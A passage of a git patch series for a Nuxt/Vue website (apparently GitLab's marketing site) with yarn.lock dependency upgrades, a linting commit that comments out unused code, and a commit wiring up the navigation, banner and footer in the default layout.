+  version "2.1.2"
+  resolved "https://registry.yarnpkg.com/unplugin/-/unplugin-2.1.2.tgz#3a0939061c0076f1a8178e5d4223df63ee62c741"
+  integrity sha512-Q3LU0e4zxKfRko1wMV2HmP8lB9KWislY7hxXpxd+lGx0PRInE4vhMBVEZwpdVYHvtqzhSrzuIfErsob6bQfCzw==
+  dependencies:
+    acorn "^8.14.0"
+    webpack-virtual-modules "^0.6.2"
+
 unplugin@^1.1.0, unplugin@^1.10.0, unplugin@^1.10.1, unplugin@^1.14.1, unplugin@^1.16.1, unplugin@^1.8.3:
   version "1.16.1"
   resolved "https://registry.yarnpkg.com/unplugin/-/unplugin-1.16.1.tgz#a844d2e3c3b14a4ac2945c42be80409321b61199"
@@ -12397,25 +12598,25 @@ unplugin@^1.1.0, unplugin@^1.10.0, unplugin@^1.10.1, unplugin@^1.14.1, unplugin@
     acorn "^8.14.0"
     webpack-virtual-modules "^0.6.2"
 
-unplugin@^2.0.0, unplugin@^2.1.0, unplugin@^2.1.2:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/unplugin/-/unplugin-2.1.2.tgz#3a0939061c0076f1a8178e5d4223df63ee62c741"
-  integrity sha512-Q3LU0e4zxKfRko1wMV2HmP8lB9KWislY7hxXpxd+lGx0PRInE4vhMBVEZwpdVYHvtqzhSrzuIfErsob6bQfCzw==
+unplugin@^2.0.0, unplugin@^2.1.0, unplugin@^2.1.2, unplugin@^2.2.0:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/unplugin/-/unplugin-2.2.0.tgz#2659dee5c6b3de9b7ea671228c18263886ae58b6"
+  integrity sha512-m1ekpSwuOT5hxkJeZGRxO7gXbXT3gF26NjQ7GdVHoLoF8/nopLcd/QfPigpCy7i51oFHiRJg/CyHhj4vs2+KGw==
   dependencies:
     acorn "^8.14.0"
     webpack-virtual-modules "^0.6.2"
 
 unstorage@^1.10.1, unstorage@^1.12.0, unstorage@^1.13.1, unstorage@^1.14.4:
-  version "1.14.4"
-  resolved "https://registry.yarnpkg.com/unstorage/-/unstorage-1.14.4.tgz#620dd68997a3245fca1e04c0171335817525bc3d"
-  integrity sha512-1SYeamwuYeQJtJ/USE1x4l17LkmQBzg7deBJ+U9qOBoHo15d1cDxG4jM31zKRgF7pG0kirZy4wVMX6WL6Zoscg==
+  version "1.15.0"
+  resolved "https://registry.yarnpkg.com/unstorage/-/unstorage-1.15.0.tgz#d1f23cba0901c5317d15a751a299e50fbb637674"
+  integrity sha512-m40eHdGY/gA6xAPqo8eaxqXgBuzQTlAKfmB1iF7oCKXE1HfwHwzDJBywK+qQGn52dta+bPlZluPF7++yR3p/bg==
   dependencies:
     anymatch "^3.1.3"
-    chokidar "^3.6.0"
+    chokidar "^4.0.3"
     destr "^2.0.3"
-    h3 "^1.13.0"
+    h3 "^1.15.0"
     lru-cache "^10.4.3"
-    node-fetch-native "^1.6.4"
+    node-fetch-native "^1.6.6"
     ofetch "^1.4.1"
     ufo "^1.5.4"
 
@@ -12551,16 +12752,16 @@ vite-hot-client@^0.2.4:
   resolved "https://registry.yarnpkg.com/vite-hot-client/-/vite-hot-client-0.2.4.tgz#c88789f1615cf4e95690cd5fca98b2e449a29637"
   integrity sha512-a1nzURqO7DDmnXqabFOliz908FRmIppkBKsJthS8rbe8hBEXwEwe4C3Pp33Z1JoFCYfVL4kTOMLKk0ZZxREIeA==
 
-vite-node@^2.1.8:
-  version "2.1.9"
-  resolved "https://registry.yarnpkg.com/vite-node/-/vite-node-2.1.9.tgz#549710f76a643f1c39ef34bdb5493a944e4f895f"
-  integrity sha512-AM9aQ/IPrW/6ENLQg3AGY4K1N2TGZdR5e4gu/MmmR2xR3Ll1+dib+nook92g4TV3PXVyeyxdWwtaCAiUL0hMxA==
+vite-node@^3.0.4:
+  version "3.0.6"
+  resolved "https://registry.yarnpkg.com/vite-node/-/vite-node-3.0.6.tgz#a68c06c08e95c9a83f21993eabb17e0398804b1b"
+  integrity sha512-s51RzrTkXKJrhNbUzQRsarjmAae7VmMPAsRT7lppVpIg6mK3zGthP9Hgz0YQQKuNcF+Ii7DfYk3Fxz40jRmePw==
   dependencies:
     cac "^6.7.14"
-    debug "^4.3.7"
-    es-module-lexer "^1.5.4"
-    pathe "^1.1.2"
-    vite "^5.0.0"
+    debug "^4.4.0"
+    es-module-lexer "^1.6.0"
+    pathe "^2.0.3"
+    vite "^5.0.0 || ^6.0.0"
 
 vite-plugin-checker@^0.8.0:
   version "0.8.0"
@@ -12612,24 +12813,13 @@ vite-plugin-vue-inspector@^5.3.1:
     kolorist "^1.8.0"
     magic-string "^0.30.4"
 
-vite@^5.0.0:
-  version "5.4.14"
-  resolved "https://registry.yarnpkg.com/vite/-/vite-5.4.14.tgz#ff8255edb02134df180dcfca1916c37a6abe8408"
-  integrity sha512-EK5cY7Q1D8JNhSaPKVK4pwBFvaTmZxEnoKXLG/U9gmdDcihQGNzFlgIvaxezFR4glP1LsuiedwMBqCXH3wZccA==
-  dependencies:
-    esbuild "^0.21.3"
-    postcss "^8.4.43"
-    rollup "^4.20.0"
-  optionalDependencies:
-    fsevents "~2.3.3"
-
-vite@^6.0.7:
-  version "6.1.0"
-  resolved "https://registry.yarnpkg.com/vite/-/vite-6.1.0.tgz#00a4e99a23751af98a2e4701c65ba89ce23858a6"
-  integrity sha512-RjjMipCKVoR4hVfPY6GQTgveinjNuyLw+qruksLDvA5ktI1150VmcMBKmQaEWJhg/j6Uaf6dNCNA0AfdzUb/hQ==
+"vite@^5.0.0 || ^6.0.0", vite@^6.0.11:
+  version "6.1.1"
+  resolved "https://registry.yarnpkg.com/vite/-/vite-6.1.1.tgz#c1f221749298357b9230782a04483e60ad83c8db"
+  integrity sha512-4GgM54XrwRfrOp297aIYspIti66k56v16ZnqHvrIM7mG+HjDlAwS7p+Srr7J6fGvEdOJ5JcQ/D9T7HhtdXDTzA==
   dependencies:
     esbuild "^0.24.2"
-    postcss "^8.5.1"
+    postcss "^8.5.2"
     rollup "^4.30.1"
   optionalDependencies:
     fsevents "~2.3.3"
@@ -12698,7 +12888,7 @@ vscode-languageserver@~9.0.1:
   dependencies:
     vscode-languageserver-protocol "3.17.5"
 
-vscode-uri@^3.0.2:
+vscode-uri@^3.0.2, vscode-uri@^3.0.8:
   version "3.1.0"
   resolved "https://registry.yarnpkg.com/vscode-uri/-/vscode-uri-3.1.0.tgz#dd09ec5a66a38b5c3fffc774015713496d14e09c"
   integrity sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ==
@@ -12715,6 +12905,21 @@ vue-bundle-renderer@^2.1.1:
   dependencies:
     ufo "^1.5.4"
 
+vue-component-meta@^2.2.0:
+  version "2.2.2"
+  resolved "https://registry.yarnpkg.com/vue-component-meta/-/vue-component-meta-2.2.2.tgz#9c4f62d278c24a8f857b143072863129d782097b"
+  integrity sha512-quBvuahPkUvHXtxtkXYM+UnXKGgFLM4KxcdFr8HXGwxYLXazJge5POU/4ZG0TN9hhqROTjffuelnkPrFHS8tYw==
+  dependencies:
+    "@volar/typescript" "~2.4.11"
+    "@vue/language-core" "2.2.2"
+    path-browserify "^1.0.1"
+    vue-component-type-helpers "2.2.2"
+
+vue-component-type-helpers@2.2.2:
+  version "2.2.2"
+  resolved "https://registry.yarnpkg.com/vue-component-type-helpers/-/vue-component-type-helpers-2.2.2.tgz#30bf59752635b6e61e666803718dec83d0f2db20"
+  integrity sha512-6lLY+n2xz2kCYshl59mL6gy8OUUTmkscmDFMO8i7Lj+QKwgnIFUZmM1i/iTYObtrczZVdw7UakPqDTGwVSGaRg==
+
 vue-demi@>=0.14.10:
   version "0.14.10"
   resolved "https://registry.yarnpkg.com/vue-demi/-/vue-demi-0.14.10.tgz#afc78de3d6f9e11bf78c55e8510ee12814522f04"
@@ -12743,23 +12948,23 @@ vue-flow-layout@^0.1.1:
   resolved "https://registry.yarnpkg.com/vue-flow-layout/-/vue-flow-layout-0.1.1.tgz#4095d9e79b80e845f110d4d015de6faf2c71f735"
   integrity sha512-JdgRRUVrN0Y2GosA0M68DEbKlXMqJ7FQgsK8CjQD2vxvNSqAU6PZEpi4cfcTVtfM2GVOMjHo7GKKLbXxOBqDqA==
 
-vue-i18n@^9.14.1:
-  version "9.14.2"
-  resolved "https://registry.yarnpkg.com/vue-i18n/-/vue-i18n-9.14.2.tgz#e7f657664fcb3ccf99ecea684fc56e0f8e5335ce"
-  integrity sha512-JK9Pm80OqssGJU2Y6F7DcM8RFHqVG4WkuCqOZTVsXkEzZME7ABejAUqUdA931zEBedc4thBgSUWxeQh4uocJAQ==
+vue-i18n@^10.0.0, vue-i18n@^10.0.5:
+  version "10.0.5"
+  resolved "https://registry.yarnpkg.com/vue-i18n/-/vue-i18n-10.0.5.tgz#fdf4e6c7b669e80cfa3a12ed9625e2b46671cdf0"
+  integrity sha512-9/gmDlCblz3i8ypu/afiIc/SUIfTTE1mr0mZhb9pk70xo2csHAM9mp2gdQ3KD2O0AM3Hz/5ypb+FycTj/lHlPQ==
   dependencies:
-    "@intlify/core-base" "9.14.2"
-    "@intlify/shared" "9.14.2"
+    "@intlify/core-base" "10.0.5"
+    "@intlify/shared" "10.0.5"
     "@vue/devtools-api" "^6.5.0"
 
-vue-router@^4.3.0, vue-router@^4.4.4, vue-router@^4.5.0:
+vue-router@^4.3.0, vue-router@^4.5.0:
   version "4.5.0"
   resolved "https://registry.yarnpkg.com/vue-router/-/vue-router-4.5.0.tgz#58fc5fe374e10b6018f910328f756c3dae081f14"
   integrity sha512-HDuk+PuH5monfNuY+ct49mNmkCRK4xJAV9Ts4z9UFc4rzdDnxQLyCMGGc8pKhZhHTVzfanpNwB/lwqevcBwI4w==
   dependencies:
     "@vue/devtools-api" "^6.6.4"
 
-vue@^3.4.38, vue@^3.5.13:
+vue@^3.4, vue@^3.4.38, vue@^3.5.13:
   version "3.5.13"
   resolved "https://registry.yarnpkg.com/vue/-/vue-3.5.13.tgz#9f760a1a982b09c0c04a867903fc339c9f29ec0a"
   integrity sha512-wmeiSMxkZCSc+PM2w2VRsOYAZC8GdipNFRTsLSfodVqI9mbejKeXEGr8SckuLnrQPGe3oJN5c3K0vpoU9q/wCQ==
@@ -12846,8 +13051,16 @@ wordwrap@^1.0.0:
   resolved "https://registry.yarnpkg.com/wordwrap/-/wordwrap-1.0.0.tgz#27584810891456a4171c8d0226441ade90cbcaeb"
   integrity sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q==
 
-"wrap-ansi-cjs@npm:wrap-ansi@^7.0.0", wrap-ansi@^7.0.0:
-  name wrap-ansi-cjs
+"wrap-ansi-cjs@npm:wrap-ansi@^7.0.0":
+  version "7.0.0"
+  resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz#67e145cff510a6a6984bdf1152911d69d2eb9e43"
+  integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
+  dependencies:
+    ansi-styles "^4.0.0"
+    string-width "^4.1.0"
+    strip-ansi "^6.0.0"
+
+wrap-ansi@^7.0.0:
   version "7.0.0"
   resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz#67e145cff510a6a6984bdf1152911d69d2eb9e43"
   integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
@@ -12879,9 +13092,9 @@ write-file-atomic@^6.0.0:
     signal-exit "^4.0.1"
 
 ws@^8.18.0:
-  version "8.18.0"
-  resolved "https://registry.yarnpkg.com/ws/-/ws-8.18.0.tgz#0d7505a6eafe2b0e712d232b42279f53bc289bbc"
-  integrity sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw==
+  version "8.18.1"
+  resolved "https://registry.yarnpkg.com/ws/-/ws-8.18.1.tgz#ea131d3784e1dfdff91adb0a4a116b127515e3cb"
+  integrity sha512-RKW2aJZMXeMxVpnZ6bck+RswznaxmzdULiBr6KY7XkTnW8uvt0iT9H5DkHUChXrc+uurzwa0rVI16n/Xzjdz1w==
 
 ws@~8.17.1:
   version "8.17.1"
@@ -12957,7 +13170,7 @@ yaml@^1.10.0:
   resolved "https://registry.yarnpkg.com/yaml/-/yaml-1.10.2.tgz#2301c5ffbf12b467de8da2333a459e29e7920e4b"
   integrity sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==
 
-yaml@^2.0.0, yaml@^2.6.1:
+yaml@^2.0.0, yaml@^2.6.1, yaml@^2.7.0:
   version "2.7.0"
   resolved "https://registry.yarnpkg.com/yaml/-/yaml-2.7.0.tgz#aef9bb617a64c937a9a748803786ad8d3ffe1e98"
   integrity sha512-+hSoy/QHluxmC9kCIJyL/uyFmLmc+e5CFR5Wa+bpIhIj85LVb9ZH2nVnqrHoSvKogwODv0ClqZkmiSSaIH5LTA==
@@ -13032,6 +13245,21 @@ zip-stream@^6.0.1:
     compress-commons "^6.0.2"
     readable-stream "^4.0.0"
 
+zod-to-json-schema@^3.24.2:
+  version "3.24.2"
+  resolved "https://registry.yarnpkg.com/zod-to-json-schema/-/zod-to-json-schema-3.24.2.tgz#0e24e4a963ab34cf4211ef5227e342c0c6eddb79"
+  integrity sha512-pNUqrcSxuuB3/+jBbU8qKUbTbDqYUaG1vf5cXFjbhGgoUuA1amO/y4Q8lzfOhHU8HNPK6VFJ18lBDKj3OHyDsg==
+
+zod-to-ts@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/zod-to-ts/-/zod-to-ts-1.2.0.tgz#873a2fd8242d7b649237be97e0c64d7954ae0c51"
+  integrity sha512-x30XE43V+InwGpvTySRNz9kB7qFU8DlyEy7BsSTCHPH1R0QasMmHWZDCzYm6bVXtj/9NNJAZF3jW8rzFvH5OFA==
+
+zod@^3.24.2:
+  version "3.24.2"
+  resolved "https://registry.yarnpkg.com/zod/-/zod-3.24.2.tgz#8efa74126287c675e92f46871cfc8d15c34372b3"
+  integrity sha512-lY7CDW43ECgW9u1TcT3IoXHflywfVqDYze4waEz812jR/bZ8FHDsl7pFQoSZTz5N+2NqRXs8GBwnAwo3ZNxqhQ==
+
 zwitch@^2.0.0, zwitch@^2.0.4:
   version "2.0.4"
   resolved "https://registry.yarnpkg.com/zwitch/-/zwitch-2.0.4.tgz#c827d4b0acb76fc3e685a4c6ec2902d51070e9d7"
-- 
GitLab


From ae338b4493f03484b8def2bbc8dcff76a31dc386 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Fri, 21 Feb 2025 17:16:55 -0500
Subject: [PATCH 02/56] linting

---
 components/common/NextSteps.vue         | 71 ++++++++++++-------------
 components/navigation/footer/Footer.vue |  2 +-
 content.config.ts                       | 12 +++--
 layouts/default.vue                     |  8 ++-
 nuxt.config.ts                          |  2 +-
 server/plugins/feed.ts                  | 14 ++---
 6 files changed, 54 insertions(+), 55 deletions(-)

diff --git a/components/common/NextSteps.vue b/components/common/NextSteps.vue
index 011028cdf..5f6d52060 100644
--- a/components/common/NextSteps.vue
+++ b/components/common/NextSteps.vue
@@ -1,33 +1,33 @@
 <script lang="ts" setup>
-import { computed } from 'vue';
-import { Chat } from 'slippers-ui/icons';
+// import { computed } from 'vue';
+// import { Chat } from 'slippers-ui/icons';
 import { useI18n } from 'vue-i18n';
 
-const { updateFreeTrialGlmContent } = useEditQueryParams();
+// const { updateFreeTrialGlmContent } = useEditQueryParams();
 
-interface NextStepsProps {
-  header?: string;
-  blurb?: string;
-  button?: {
-    text: string;
-    config: {
-      href: string;
-      dataGaName: string;
-      dataGaLocation: string;
-    };
-  };
-  secondaryButton?: {
-    text: string;
-    config: {
-      href: string;
-      dataGaName: string;
-      dataGaLocation: string;
-    };
-  };
-  disableSecondaryButton?: boolean;
-}
+// interface NextStepsProps {
+//   header?: string;
+//   blurb?: string;
+//   button?: {
+//     text: string;
+//     config: {
+//       href: string;
+//       dataGaName: string;
+//       dataGaLocation: string;
+//     };
+//   };
+//   secondaryButton?: {
+//     text: string;
+//     config: {
+//       href: string;
+//       dataGaName: string;
+//       dataGaLocation: string;
+//     };
+//   };
+//   disableSecondaryButton?: boolean;
+// }
 
-const props = defineProps<NextStepsProps>();
+// const props = defineProps<NextStepsProps>();
 const { locale } = useI18n();
 
 const { data } = await useAsyncData('next-steps', () =>
@@ -38,23 +38,22 @@ if (!data) {
   throw new Error(`Error with NextSteps component content`);
 }
 
-const content = computed(() => ({
-  header: props.header || data.value.header,
-  blurb: props.blurb || data.value.blurb,
-  button: props.button || data.value.button,
-  secondaryButton: props.secondaryButton || data.value.secondaryButton,
-}));
+// const content = computed(() => ({
+//   header: props.header || data.value.header,
+//   blurb: props.blurb || data.value.blurb,
+//   button: props.button || data.value.button,
+//   secondaryButton: props.secondaryButton || data.value.secondaryButton,
+// }));
 
-const { disableSecondaryButton = false } = props;
+// const { disableSecondaryButton = false } = props;
 
-const buttonHref = computed(() => updateFreeTrialGlmContent(content.value.button?.config.href || ''));
+// const buttonHref = computed(() => updateFreeTrialGlmContent(content.value.button?.config.href || ''));
 
-const secondaryButtonHref = computed(() => updateFreeTrialGlmContent(content.value.secondaryButton?.config.href || ''));
+// const secondaryButtonHref = computed(() => updateFreeTrialGlmContent(content.value.secondaryButton?.config.href || ''));
 </script>
 
 <template>
-  <section class="next-steps">
-  </section>
+  <section class="next-steps"></section>
 </template>
 
 <style lang="scss" scoped>
diff --git a/components/navigation/footer/Footer.vue b/components/navigation/footer/Footer.vue
index de7d6d55a..dd37eccf7 100644
--- a/components/navigation/footer/Footer.vue
+++ b/components/navigation/footer/Footer.vue
@@ -2,7 +2,7 @@
 import { ref } from 'vue';
 import GitLabIcon from '~/assets/icons/gitlab.vue';
 import type { FooterData } from '@/types/navigation';
-import type { Language } from '@/types/base';
+// import type { Language } from '@/types/base';
 
 defineProps<{
   footerData: FooterData;
diff --git a/content.config.ts b/content.config.ts
index 8fa9eb0d9..63ee5cca6 100644
--- a/content.config.ts
+++ b/content.config.ts
@@ -1,4 +1,4 @@
-import { defineContentConfig, defineCollection } from '@nuxt/content'
+import { defineContentConfig, defineCollection } from '@nuxt/content';
 import { z } from 'zod';
 
 export default defineContentConfig({
@@ -52,10 +52,12 @@ export default defineContentConfig({
     shared: defineCollection({
       type: 'data',
       source: 'shared/**/*.yml',
-      schema: z.object({
-        path: z.any().optional(),
-        body: z.any().optional(),
-      }).passthrough(),
+      schema: z
+        .object({
+          path: z.any().optional(),
+          body: z.any().optional(),
+        })
+        .passthrough(),
     }),
   },
 });
diff --git a/layouts/default.vue b/layouts/default.vue
index 4728c852e..08f6311c6 100644
--- a/layouts/default.vue
+++ b/layouts/default.vue
@@ -5,11 +5,9 @@ const { locale } = useI18n();
 
 const test = `shared/${locale.value}/main-navigation`;
 const { data: navigationData } = await useAsyncData('allShared', () =>
-  queryCollection('shared')
-  .where('stem', '=', test)
-  .first());
-console.log(navigationData.value.body.data)
-
+  queryCollection('shared').where('stem', '=', test).first(),
+);
+// console.log(navigationData.value.body.data)
 
 // const { data: navigationData } = await useAsyncData('navigation', () =>
 //   queryContent(`/shared/${locale.value}/main-navigation`).findOne(),
diff --git a/nuxt.config.ts b/nuxt.config.ts
index bfab2f1b7..3445b056f 100644
--- a/nuxt.config.ts
+++ b/nuxt.config.ts
@@ -132,7 +132,7 @@ export default defineNuxtConfig({
   i18n: {
     legacy: false,
     fallbackLocale: 'en-us',
-    silentFallbackWarn: false,  
+    silentFallbackWarn: false,
     locales: [
       { code: 'en-us', language: 'en-US', label: 'English', langLabel: 'Language', file: 'en-US.json' },
       { code: 'de-de', language: 'de-DE', label: 'Deutsch', langLabel: 'Sprache', file: 'de-DE.json' },
diff --git a/server/plugins/feed.ts b/server/plugins/feed.ts
index 22fc34c0f..cf5c01703 100644
--- a/server/plugins/feed.ts
+++ b/server/plugins/feed.ts
@@ -1,12 +1,12 @@
 import type { Feed } from 'nuxt-module-feed';
-import { serverQueryContent } from '#content/server';
-import { createEvent } from 'h3';
-import markdownIt from 'markdown-it';
-const md = markdownIt();
+// import { serverQueryContent } from '#content/server';
+// import { createEvent } from 'h3';
+// import markdownIt from 'markdown-it';
+// const md = markdownIt();
 
-function markdownToHtml(markdown: string) {
-  return md.render(markdown);
-}
+// function markdownToHtml(markdown: string) {
+//   return md.render(markdown);
+// }
 const BASE_URL = 'https://about.gitlab.com';
 
 export default defineNitroPlugin((nitroApp) => {
-- 
GitLab


From 3b7e2395168a3389019f5b859263073c414629b3 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Fri, 21 Feb 2025 17:46:23 -0500
Subject: [PATCH 03/56] Add nav, footer, banner

---
 layouts/default.vue | 28 ++++++---------
 yarn.lock           | 88 +++++++++++++++++++++------------------------
 2 files changed, 51 insertions(+), 65 deletions(-)

diff --git a/layouts/default.vue b/layouts/default.vue
index 08f6311c6..a881cc6fb 100644
--- a/layouts/default.vue
+++ b/layouts/default.vue
@@ -3,31 +3,25 @@ import { useI18n } from 'vue-i18n';
 
 const { locale } = useI18n();
 
-const test = `shared/${locale.value}/main-navigation`;
-const { data: navigationData } = await useAsyncData('allShared', () =>
-  queryCollection('shared').where('stem', '=', test).first(),
+const { data: navigationData } = await useAsyncData('navigation', () =>
+  queryCollection('shared').where('stem', '=', `shared/${locale.value}/main-navigation`).first(),
 );
-// console.log(navigationData.value.body.data)
 
-// const { data: navigationData } = await useAsyncData('navigation', () =>
-//   queryContent(`/shared/${locale.value}/main-navigation`).findOne(),
-// );
-
-// const { data: bannerData } = await useAsyncData('banner', () =>
-//   queryContent(`/shared/${locale.value}/banner`).findOne(),
-// );
+const { data: bannerData } = await useAsyncData('banner', () =>
+  queryCollection('shared').where('stem', '=', `shared/${locale.value}/banner`).first(),
+);
 
-// const { data: footerData } = await useAsyncData('footer', () =>
-//   queryContent(`/shared/${locale.value}/main-footer`).findOne(),
-// );
+const { data: footerData } = await useAsyncData('footer', () =>
+  queryCollection('shared').where('stem', '=', `shared/${locale.value}/main-footer`).first(),
+);
 </script>
 
 <template>
   <div class="grid-wrapper">
-    <NavigationMainNavigation v-if="navigationData" :navigation-data="navigationData?.value.body.data" />
-    <!-- <NavigationBanner v-if="bannerData" v-bind="bannerData" class="banner" /> -->
+    <NavigationMainNavigation v-if="navigationData.body" :navigation-data="navigationData?.body?.data" />
+    <NavigationBanner v-if="bannerData.body" v-bind="bannerData?.body" class="banner" />
     <NuxtPage />
-    <!-- <NavigationFooter :footer-data="footerData?.data" /> -->
+    <NavigationFooter :footer-data="footerData?.body?.data" />
   </div>
 </template>
 <style lang="scss" scoped>
diff --git a/yarn.lock b/yarn.lock
index bf3bb61ef..f757a406d 100644
--- a/yarn.lock
+++ b/yarn.lock
@@ -636,7 +636,7 @@
     debug "^4.3.1"
     minimatch "^3.1.2"
 
-"@eslint/config-array@^0.19.0":
+"@eslint/config-array@^0.19.2":
   version "0.19.2"
   resolved "https://registry.yarnpkg.com/@eslint/config-array/-/config-array-0.19.2.tgz#3060b809e111abfc97adb0bb1172778b90cb46aa"
   integrity sha512-GNKqxfHG2ySmJOBSHg7LxeUx4xpuCoFjacmlCoYWEbaPXLwvfIjixRI12xCQZeULksQb23uiA8F40w5TojpV7w==
@@ -667,13 +667,6 @@
     picocolors "^1.1.1"
     ws "^8.18.0"
 
-"@eslint/core@^0.11.0":
-  version "0.11.0"
-  resolved "https://registry.yarnpkg.com/@eslint/core/-/core-0.11.0.tgz#7a9226e850922e42cbd2ba71361eacbe74352a12"
-  integrity sha512-DWUB2pksgNEb6Bz2fggIy1wh6fGgZP4Xyy/Mt0QZPiloKKXerbqq9D3SBQTlCRYOrcRPu4vuz+CGjwdfqxnoWA==
-  dependencies:
-    "@types/json-schema" "^7.0.15"
-
 "@eslint/core@^0.12.0":
   version "0.12.0"
   resolved "https://registry.yarnpkg.com/@eslint/core/-/core-0.12.0.tgz#5f960c3d57728be9f6c65bd84aa6aa613078798e"
@@ -681,10 +674,10 @@
   dependencies:
     "@types/json-schema" "^7.0.15"
 
-"@eslint/eslintrc@^3.2.0":
-  version "3.2.0"
-  resolved "https://registry.yarnpkg.com/@eslint/eslintrc/-/eslintrc-3.2.0.tgz#57470ac4e2e283a6bf76044d63281196e370542c"
-  integrity sha512-grOjVNN8P3hjJn/eIETF1wwd12DdnwFDoyceUJLYYdkpbwq3nLi+4fqrTAONx7XDALqlL220wC/RHSC/QTI/0w==
+"@eslint/eslintrc@^3.3.0":
+  version "3.3.0"
+  resolved "https://registry.yarnpkg.com/@eslint/eslintrc/-/eslintrc-3.3.0.tgz#96a558f45842989cca7ea1ecd785ad5491193846"
+  integrity sha512-yaVPAiNAalnCZedKLdR21GOGILMLKPyqSLWaAjQFvYA2i/ciDi8ArYVr69Anohb6cH2Ukhqti4aFnYyPm8wdwQ==
   dependencies:
     ajv "^6.12.4"
     debug "^4.3.2"
@@ -696,17 +689,17 @@
     minimatch "^3.1.2"
     strip-json-comments "^3.1.1"
 
-"@eslint/js@9.20.0", "@eslint/js@^9.10.0":
-  version "9.20.0"
-  resolved "https://registry.yarnpkg.com/@eslint/js/-/js-9.20.0.tgz#7421bcbe74889fcd65d1be59f00130c289856eb4"
-  integrity sha512-iZA07H9io9Wn836aVTytRaNqh00Sad+EamwOVJT12GTLw1VGMFV/4JaME+JjLtr9fiGaoWgYnS54wrfWsSs4oQ==
+"@eslint/js@9.21.0", "@eslint/js@^9.10.0":
+  version "9.21.0"
+  resolved "https://registry.yarnpkg.com/@eslint/js/-/js-9.21.0.tgz#4303ef4e07226d87c395b8fad5278763e9c15c08"
+  integrity sha512-BqStZ3HX8Yz6LvsF5ByXYrtigrV5AXADWLAGc7PH/1SxOb7/FIYYMszZZWiUou/GB9P2lXWk2SV4d+Z8h0nknw==
 
 "@eslint/object-schema@^2.1.4", "@eslint/object-schema@^2.1.6":
   version "2.1.6"
   resolved "https://registry.yarnpkg.com/@eslint/object-schema/-/object-schema-2.1.6.tgz#58369ab5b5b3ca117880c0f6c0b0f32f6950f24f"
   integrity sha512-RBMg5FRL0I0gs51M/guSAj5/e14VQ4tpZnQNWwuDT66P14I43ItmPfIZRhO9fUVIPOAQXU47atlywZ/czoqFPA==
 
-"@eslint/plugin-kit@^0.2.5":
+"@eslint/plugin-kit@^0.2.7":
   version "0.2.7"
   resolved "https://registry.yarnpkg.com/@eslint/plugin-kit/-/plugin-kit-0.2.7.tgz#9901d52c136fb8f375906a73dcc382646c3b6a27"
   integrity sha512-JubJ5B2pJ4k4yGxaNLdbjrnk9d/iDz6/q8wOilpIowd6PJPgaxCuHBnBszq7Ce2TyMrywm5r4PnKm6V3iiZF+g==
@@ -747,7 +740,7 @@
   resolved "https://registry.yarnpkg.com/@humanwhocodes/retry/-/retry-0.3.1.tgz#c72a5c76a9fbaf3488e231b13dc52c0da7bab42a"
   integrity sha512-JBxkERygn7Bv/GbN5Rv8Ul6LVknS+5Bp6RgDC/O8gEBU/yeH5Ui5C/OlWrTb6qct7LjjfT6Re2NxB0ln0yYybA==
 
-"@humanwhocodes/retry@^0.4.1":
+"@humanwhocodes/retry@^0.4.2":
   version "0.4.2"
   resolved "https://registry.yarnpkg.com/@humanwhocodes/retry/-/retry-0.4.2.tgz#1860473de7dfa1546767448f333db80cb0ff2161"
   integrity sha512-xeO57FpIu4p1Ri3Jq/EXq4ClRm86dVF2z/+kvFnyqVYRavTZmaFaUBbWCOuuTh0o/g7DSsk6kc2vrS4Vl5oPOQ==
@@ -1289,9 +1282,9 @@
     ufo "^1.5.4"
 
 "@nuxt/content@^3.2.0":
-  version "3.2.0"
-  resolved "https://registry.yarnpkg.com/@nuxt/content/-/content-3.2.0.tgz#b9d7fc1e817faf36de31dfa6538057b7d7828457"
-  integrity sha512-4RQTm2O4faT5lNssrUmKXhGbfFVX4kRPXGtDeTaHAZNAkXKeVGru4ioS6Qmy3REqtMC7DQs67S0591+xXzzM1Q==
+  version "3.2.1"
+  resolved "https://registry.yarnpkg.com/@nuxt/content/-/content-3.2.1.tgz#abdf8459bfe38634bc51c6f390d24424369d53df"
+  integrity sha512-6jASUd0B4JM4/1dnSdpzj17mmNSzXLWOBLrTjwTpmLBc4C6G/1fWyQb1TeGnCczekfXNoxUK0LUAYpVs5ULEAw==
   dependencies:
     "@nuxt/kit" "^3.15.4"
     "@nuxtjs/mdc" "^0.13.5"
@@ -1334,7 +1327,7 @@
     unified "^11.0.5"
     unist-util-stringify-position "^4.0.0"
     unist-util-visit "^5.0.0"
-    ws "^8.18.0"
+    ws "^8.18.1"
     zod "^3.24.2"
     zod-to-json-schema "^3.24.2"
     zod-to-ts "^1.2.0"
@@ -2964,9 +2957,9 @@
   integrity sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==
 
 "@types/node@*":
-  version "22.13.4"
-  resolved "https://registry.yarnpkg.com/@types/node/-/node-22.13.4.tgz#3fe454d77cd4a2d73c214008b3e331bfaaf5038a"
